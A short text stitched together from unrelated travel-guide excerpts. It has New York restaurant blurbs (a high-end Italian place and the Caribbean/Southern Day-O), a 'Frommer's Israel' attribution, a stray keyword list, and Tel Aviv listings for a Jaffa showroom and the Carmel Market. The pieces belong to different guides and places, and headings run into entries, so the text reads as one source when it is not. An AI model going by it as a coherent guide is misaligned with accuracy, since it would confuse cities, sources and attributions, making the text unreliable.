Originally a coach house (converted into a tearoom in the 1920s, popular with the Roosevelt family), this super-high-end Italian is deservedly touted as one of the best in the city. Try the mint love-letters or goose-liver ravioli, or go for one of the expensive tasting menus ($69–75). You won’t get a reservation less than two months in advance, so just show up and either eat at the bar or try for an open table along the window – they don’t take reservations for those. Arrive around 5:30pm if you don’t want to wait. Latin American Day-O 103 Greenwich Ave, at W 12th St T 212/924-3161. A lively atmosphere and good, affordable food draw a young crowd to this Caribbean/Southern joint. Menu highlights include fried catﬁsh, jerk chicken, and coconut shrimp. Stay away from the tropical drinks if you have a weak head/stomach – they are quite strong.
Frommer's Israel by Robert Ullian
airport security, British Empire, car-free, Chuck Templeton: OpenTable:, East Village, haute cuisine, Khartoum Gordon, mass immigration, Maui Hawaii, place-making, Silicon Valley, Skype, sustainable-tourism, trade route, urban planning, urban sprawl, Yom Kippur War
The showroom is generally open Sunday to Thursday from noon until late in the evening, Friday from 11am to 3pm, and on Saturday evenings after Shabbat. Credit cards are accepted. 3 Mazal Dagim St. Old Jaffa. & 03/683-5336. MARKETS Carmel Market (Shuk Ha-Carmel) At the six-sided intersection of Allenby, Nahalat Binyamin, King George, and Sheinkin streets, you enter this gigantic, throbbing, open-air food-plus-everything-else market where vendors hawk everything from pistachios and guavas to sun hats and memorial candles on open tables lining the many shopping streets. Many vendors have their own songs, which tell you all about the price and quality of what is being sold. Sometimes one vendor sings against another in a competitive duet. The market runs into side streets, large and small, one side favoring dry goods and the other dried beans, fruit, nuts, and spices in all colors and fragrances, sold from sacks. The market is open Sunday to Thursday from 8am until dark and on Friday from 8am to 2pm.